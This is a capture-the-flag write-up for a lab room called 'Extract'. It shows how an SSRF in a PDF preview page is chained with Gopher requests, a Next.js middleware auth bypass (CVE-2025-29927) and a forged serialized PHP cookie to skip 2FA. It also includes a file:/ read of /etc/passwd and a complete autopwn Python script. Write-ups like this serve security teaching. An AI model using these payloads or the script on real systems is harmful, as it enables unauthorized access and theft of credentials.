Extract
Can you extract the secrets of the library? - by l000g1c
The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with a Nmap scan and find two open ports: Port 22 with SSH, and the other is port 80, which has the Apache 2.4.58 web server.

We visit the index page and see a document preview page for PDFs. Nothing special yet.

In the source we see a smal script  loads a given PDF into an iframe by passing its URL  to preview.php and then makes the iframe visible.

We continue with a directory scan and we find a management directory.
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://extract.thm/"                                                        
But the Access is denied to http://extract.thm/management

Next, we visit the preview.php page, recalling the source of the index page. It informs us, that the url param is missing. 

SSRF
The preview page with the URL parameter looks very much like a server-side request forgery (SSRF) vulnerability. We are now testing for this.
Detection
We have a Server Side Request Vulnerability in front of us, since we can reach out to our own web server: http://extract.thm/preview.php?url=http://10.14.90.235. 
Since we know we are dealing with a PHP web server we could try to provide a web shell with a simple Python web server, but the SSRF does not leverage to evaluation of the code. If we provide the web shell via a PHP web server it gets evaluated on our machine.

For now, we submit the localhost and see a preview is still possible.
http://extract.thm/preview.php?url=127.0.0.1
Next, we try to reach out to /management which we had no access before. This reveals us a login page for the TryBookMe page.
http://extract.thm/preview.php?url=127.0.0.1/managementFrom there we can't just submit anything to the form, unless we can use gopher protocol to leverage  GET and POST requests in SSRF.

Enumerate Internal Services
But for now, we continue with enumerating internal services. For this we craft a wordlist containing all possible ports.
seq 65535 > ports.txtAnd reach out to every possible service using FFuF. We are able to identify a service on port 10000.
ffuf -w ports.txt -u 'http://extract.thm/preview.php?url=127.0.0.1:FUZZ' -fw 1
We reach out to 127.0.0.1:10000 and see that the access is permitted. But There's also a link to the API http://extract.thm/customapi.
http://extract.thm/preview.php?url=127.0.0.1:10000http://extract.thm/customapi
We view the source on http://extract.thm/preview.php?url=127.0.0.1:10000 and it looks like a page crafted with NextJS.
< !DOCTYPE html > < html lang = "en" > < head > < meta charSet = "utf-8" / > < meta name = "viewport"
content = "width=device-width, initial-scale=1" / > < link rel = "stylesheet"
href = "/_next/static/css/178989e77b112f7f.css"
crossorigin = ""
data - precedence = "next" / > < link rel = "preload"
as = "script"
fetchPriority = "low"
href = "/_next/static/chunks/webpack-8fc0c21e0210cbd2.js"
crossorigin = "" / > < script src = "/_next/static/chunks/fd9d1056-ffbd49fae2ee76ea.js"
async = ""
crossorigin = "" > < /script><script src="/_next / static / chunks / 472 - 22e55 b21ed910619.js " async="
" crossorigin="
"></script><script src=" / _next / static / chunks / main - app - 321 a014647b5278e.js " async="
" crossorigin="
"></script><title>TryBookMe API</title><meta name="
description " content="
API Service
for TryBookMe "/><script src=" / _next / static / chunks / polyfills - c67a75d1b6f99dc8.js " crossorigin="
" noModule="
"></script></head><body><main style="
max - width: 1000 px;
margin: 0 auto;
padding: 20 px "><header style="
margin - bottom: 20 px "><h1 style="
font - size: 24 px;
font - weight: bold ">TryBookMe</h1><nav style="
margin - top: 10 px "><ul style="
display: flex;
gap: 16 px "><li><a href=" / " style="
color: blue;
text - decoration: underline ">Home</a></li><li><a href=" / customapi " style="
color: blue;
text - decoration: underline ">API</a></li></ul></nav></header><div style="
padding: 2 rem;
max - width: 1200 px;
margin: 0 auto "><div style="
background: #fff8f8;
border: 1 px solid #ffcdd2;
padding: 1.5 rem;
border - radius: 8 px;
margin - top: 2 rem "><h2 style="
font - size: 1.8 rem;
margin - bottom: 1 rem;
color: #d32f2f ">Warning</h2><p style="
font - size: 1.1 rem;
line - height: 1.6 ">Unauthorised access to this system is strictly prohibited.</p></div></div></main><script src=" / _next / static / chunks / webpack - 8 fc0c21e0210cbd2.js " crossorigin="
" async="
"></script><script>(self.__next_f=self.__next_f||[]).push([0]);self.__next_f.push([2,null])</script><script>self.__next_f.push([1,"
1: HL[\"/_next/static/css/178989e77b112f7f.css\",\"style\",{\"crossOrigin\":\"\"}]\n0:\"$L2\"\n"]) < /script><script>self.__next_f.push([1,"3:I[3728,[],\"\"]\n5:I[9928,[],\"\"]\n6:I[6954,[],\"\"]\n7:I[7264,[],\"\"]\n"])</script > < script > self.__next_f.push([1, "2:[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/178989e77b112f7f.css\",\"precedence\":\"next\",\"crossOrigin\":\"\"}]],[\"$\",\"$L3\",null,{\"buildId\":\"k9Pjo5x24QkUE90SdyHNw\",\"assetPrefix\":\"\",\"initialCanonicalUrl\":\"/\",\"initialTree\":[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],\"initialHead\":[false,\"$L4\"],\"globalErrorComponent\":\"$5\",\"children\":[null,[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"main\",null,{\"style\":{\"maxWidth\":\"1000px\",\"margin\":\"0 auto\",\"padding\":\"20px\"},\"children\":[[\"$\",\"header\",null,{\"style\":{\"marginBottom\":\"20px\"},\"children\":[[\"$\",\"h1\",null,{\"style\":{\"fontSize\":\"24px\",\"fontWeight\":\"bold\"},\"children\":\"TryBookMe\"}],[\"$\",\"nav\",null,{\"style\":{\"marginTop\":\"10px\"},\"children\":[\"$\",\"ul\",null,{\"style\":{\"display\":\"flex\",\"gap\":\"16px\"},\"children\":[[\"$\",\"li\",null,{\"children\":[\"$\",\"a\",null,{\"href\":\"/\",\"style\":{\"color\":\"blue\",\"textDecoration\":\"underline\"},\"children\":\"Home\"}]}],[\"$\",\"li\",null,{\"children\":[\"$\",\"a\",null,{\"href\":\"/customapi\",\"style\":{\"color\":\"blue\",\"textDecoration\":\"underline\"},\"children\":\"API\"}]}]]}]}]]}],[\"$\",\"$L6\",null,{\"parallelRouterKey\":\"children\",\"segmentPath\":[\"children\"],\"loading\":\"$undefined\",\"loadingStyles\":\"$undefined\",\"loadingScripts\":\"$undefined\",\"hasLoading\":false,\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L7\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":\"404\"}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],\"notFoundStyles\":[],\"childProp\":{\"current\":[\"$L8\",[\"$\",\"div\",null,{\"style\":{\"padding\":\"2rem\",\"maxWidth\":\"1200px\",\"margin\":\"0 auto\"},\"children\":[\"$\",\"div\",null,{\"style\":{\"background\":\"#fff8f8\",\"border\":\"1px solid #ffcdd2\",\"padding\":\"1.5rem\",\"borderRadius\":\"8px\",\"marginTop\":\"2rem\"},\"children\":[[\"$\",\"h2\",null,{\"style\":{\"fontSize\":\"1.8rem\",\"marginBottom\":\"1rem\",\"color\":\"#d32f2f\"},\"children\":\"Warning\"}],[\"$\",\"p\",null,{\"style\":{\"fontSize\":\"1.1rem\",\"lineHeight\":1.6},\"children\":\"Unauthorised access to this system is strictly prohibited.\"}]]}]}],null],\"segment\":\"__PAGE__\"},\"styles\":null}]]}]}]}],null]}]]\n"]) < /script><script>self.__next_f.push([1,"4:[[\"$\",\"meta\",\"0\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}],[\"$\",\"meta\",\"1\",{\"charSet\":\"utf-8\"}],[\"$\",\"title\",\"2\",{\"children\":\"TryBookMe API\"}],[\"$\",\"meta\",\"3\",{\"name\":\"description\",\"content\":\"API Service for TryBookMe\"}]]\n8:null\n"])</script > < script > self.__next_f.push([1, ""]) < /script></body > < /html>API Access - Authorization Bypass CVE-2025-29927
After some research, we find a recently published CVE on NextJS and an authorization bypass:
The vulnerability requires the following header to apply the authorization bypass.
x-middleware-subrequest: middlewareSo, we need to make a request with a header.
As we have already mentioned some times, we will probably have to use Gopher. A Gopher request is a text-based query sent to a server over TCP port 70 as part of the Gopher protocol.
The request contains a selector string ending with \r\n, and the server responds with either menus, documents, or binary data.
Although largely obsolete, Gopher requests can be still relevant in security contexts such as SSRF exploitation like we have here.
A small guide on how to use Gopher and crafting own request can be found here:
The following tools might assist us:
We try to use SSRFgopher to craft us a request with the middleware-subrequest header to bypass the authorization check like explained in CVE-2025-29927.

Neither the single URL encoded payload nor the double URL encoded seems to work. From now on we try to craft them on our own.

We want to make a GET request with the middleware-subrequest header set. We explain the structure of the Gopher request using the example from SSRFGopher, which did not work in the first place. It seems like there is an encoding issue.
gopher://127.0.0.1:10000/_GET%20customapi%20HTTP/1.1%0aHost:%20127.0.0.1%0ax-middleware-subrequest:%20middleware%0a%0aIn Gopher, the underscore _ is just the separator that marks the start of the selector string. When /_GET...  is passed in the URL, the server connects and sends that string exactly as raw data. 
Breakdown:
- gopher://127.0.0.1:10000/→ Target internal service running on localhost port 10000
- _→ Separator (start of the selector string in Gopher)
- GET customapi HTTP/1.1→ The raw HTTP request line we want the internal service to process
- %0a→ Line feed (- \n), used to terminate each header line (here LF is enough, though in strict HTTP it’s usually- %0d%0a)
- Host: 127.0.0.1→ Host header pointing to the internal service
- x-middleware-subrequest: middleware→ The special header that exploits CVE-2025-29927 (Next.js middleware auth bypass)
- Final - %0a%0a→ Blank line that ends the HTTP headers section and signals the start of the body (none here, since it’s a GET request)
After URL decoding, the remote service should end up seeing and evaluating the follwing:
GET /customapi HTTP/1.1
Host: 127.0.0.1:10000
x-middleware-subrequest: middlewareBut we just get a blank response.

With the following request without using the header yet, we retrieve a chunked redirect by double URL encoding it manually. Its encoded by the following scheme:
- double-encode spaces ( - %2520), CR (- %250d), LF (- %250a).
- Single-encode the forward slash ( - %2f).
- Not encoded: keywords like - GET,- HTTP/1.1,- Host:, digits, and colons.
gopher://127.0.0.1:10000/_GET /customapi HTTP/1.1
Host: 127.0.0.1:10000gopher://127.0.0.1:10000/_GET%2520%2fcustomapi%2520HTTP%2f1.1%250d%250aHost:%2520127.0.0.1:10000%250d%250a 
Now we add the header x-middleware-subrequest: middleware:
gopher://127.0.0.1:10000/_GET /customapi HTTP/1.1
Host: 127.0.0.1:10000
x-middleware-subrequest: middleware
With the following double URL encoded request we are able to retrieve the credentials of the user librarian - recalling the login page at /management. Furthermore we are able to spot the first flag.
gopher://127.0.0.1:10000/_GET%2520%2fcustomapi%2520HTTP%2f1.1%250d%250aHost:%2520127.0.0.1:10000%250d%250ax-middleware-subrequest:%2520middleware%250d%250a
Management Access
With the obtained credentials, we return back to the /management page - which was also accessible via the SSRF. We then craft a Gopher GET request and review the page source to identify the POST parameters used by the form. The POST data parameters username and password are used.
gopher://127.0.0.1:80/_GET /management/ HTTP/1.1
Host: 127.0.0.1
Connection: close
gopher://127.0.0.1:80/_GET%2520%2Fmanagement%252F%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250A%250D%250A
We could also just inspect the source by our initial SSRF request.
view-source:http://extract.thm/preview.php?url=127.0.0.1/management
We prepare the gopher request, and URL encoded first the last bits of the password.
gopher://127.0.0.1:80/_POST /management/index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Connection: close
username=librarian&password=REDACTED%21%21Next, we double URL encode the request again with the scheme explained initially.
gopher://127.0.0.1:80/_POST%20/management/index.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2043%0D%0AConnection:%20close%0D%0A%0D%0Ausername=librarian&password=REDACTED%2521%2521We receive a redirect to a 2FA page, we see an auth token set in the cookies as well as a PHPSESSID.
gopher://127.0.0.1:80/_POST%2520%2Fmanagement%2Findex.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%3A%252043%250D%250AConnection%3A%2520close%250D%250A%250D%250Ausername%3Dlibrarian%26password%3DREDACTED%252521%252521
We decode the token, to prepare another gopher request to the 2FA page with the token.

Our next request is prepared with the PHPSESSID cookie and the auth token:
gopher://127.0.0.1:80/_GET /management/2fa.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Cookie: PHPSESSID=ivj52ff1et015t314cibok9lvk; auth_token=O:9:"AuthToken":1:{s:9:"validated";b:0;}
This time we need three layers of URL encoding. The third layer takes place in the AuthToken cookie to escape the special characters there. If we do not see a redirect, we set the token and PHPSESSID correctly.
gopher://127.0.0.1:80/_GET%2520%2Fmanagement%2F2fa.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250ACookie%3A%2520PHPSESSID%3D0st3nodd7h85uamu0tok6tci63%3B%2520auth_token%3DO%25253A9%25253A%252522AuthToken%252522%25253A1%25253A%25257Bs%25253A9%25253A%252522validated%252522%25253Bb%25253A0%25253B%25257D%250D%250A%250D%250A
We are not logged in yet, since have not set the validation of the 2FA token: auth_token=O:9:"AuthToken":1:{s:9:"validated";b:0;}
We can set it like the following:
auth_token=O:9:"AuthToken":1:{s:9:"validated";b:1;}We prepare the Gopher request and URL Encode the payload like mentioned before:
gopher://127.0.0.1:80/_GET /management/2fa.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Cookie: PHPSESSID=0st3nodd7h85uamu0tok6tci63; auth_token=O:9:"AuthToken":1:{s:9:"validated";b:1;}
gopher://127.0.0.1:80/_GET%2520%2Fmanagement%2F2fa.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250ACookie%3A%2520PHPSESSID%3D0st3nodd7h85uamu0tok6tci63%3B%2520auth_token%3DO%25253A9%25253A%252522AuthToken%252522%25253A1%25253A%25257Bs%25253A9%25253A%252522validated%252522%25253Bb%25253A1%25253B%25257D%250D%250A%250D%250AWe are logged in an are able to retrieve the final flag:

Unintended
There is an uninteded we overlooked while testing the room. We are also able to leverage the URL parameter to a file inclusion. While file:/// gets filtered, file:/ doesn't and get properly evaluated. In this example we include /etc/passwd. 
http://extract.thm/preview.php?url=file:/etc/passwd
We can inspect the sources of the different pages.
http://extract.thm/preview.php?url=file:/var/www/html/index.php
In /var/www/html/preview.php we can see the filter that is applied, but not sufficient.
http://extract.thm/preview.php?url=file:/var/www/html/preview.php
We can spot the management page we found using our directory scan. Revealing username and password. Furthermore the 2fa.php page.
http://extract.thm/preview.php?url=file:/var/www/html/management/index.php
This 2fa.php page contains the second flag.
http://extract.thm/preview.php?url=file:/var/www/html/management/2fa.php
AutoPwn by 0day aka Ryan Montgomery
This autopwn script chains multiple SSRF payloads to extract flags automatically. It first bypasses the Next.js middleware to grab the initial flag, then forges a serialized cookie to bypass 2FA and retrieve the second flag. The script is written and sharedd by 0day - Ryan Montgomery! Thank you very much for sharing!
import re
import urllib.parse as up
import requests
R = "http://10.10.21.228/preview.php?url="
F = lambda t: re.findall(r"THM\{[^}]+\}", t)
def send(raw, port=80):
    g = "gopher://127.0.0.1:%d/_%s" % (port, up.quote(raw, safe=""))
    return requests.get(R + up.quote(g, safe=""), timeout=10).text
# --- Flag 1 (Next.js /customapi bypass) ---
hdr = ":".join(["middleware"] * 7)
raw = (
    "GET /customapi HTTP/1.1\r\n"
    "Host:127.0.0.1:10000\r\n"
    f"X-Middleware-Subrequest:{hdr}\r\n"
    "Connection:close\r\n\r\n"
)
flag1 = F(send(raw, 10000))[0]
# --- Flag 2 (login + 2FA bypass) ---
body = up.urlencode({"username": "librarian", "password": "REDACTED!!"})
req = (
    "POST /management/ HTTP/1.1\r\n"
    "Host:127.0.0.1\r\n"
    "Content-Type:application/x-www-form-urlencoded\r\n"
    f"Content-Length:{len(body)}\r\n"
    "Connection:close\r\n\r\n"
    f"{body}"
)
resp = send(req)
sid = re.search(r"PHPSESSID=([^;]+)", resp).group(1)
tok = up.quote('O:9:"AuthToken":1:{s:9:"validated";b:1;}', safe="")
req2 = (
    f"GET /management/2fa.php HTTP/1.1\r\n"
    f"Host:127.0.0.1\r\n"
    f"Cookie:PHPSESSID={sid};auth_token={tok}\r\n"
    "Connection:close\r\n\r\n"
)
flag2 = F(send(req2))[0]
# --- Output ---
print("flag1:", flag1)
print("flag2:", flag2)Last updated
Was this helpful?


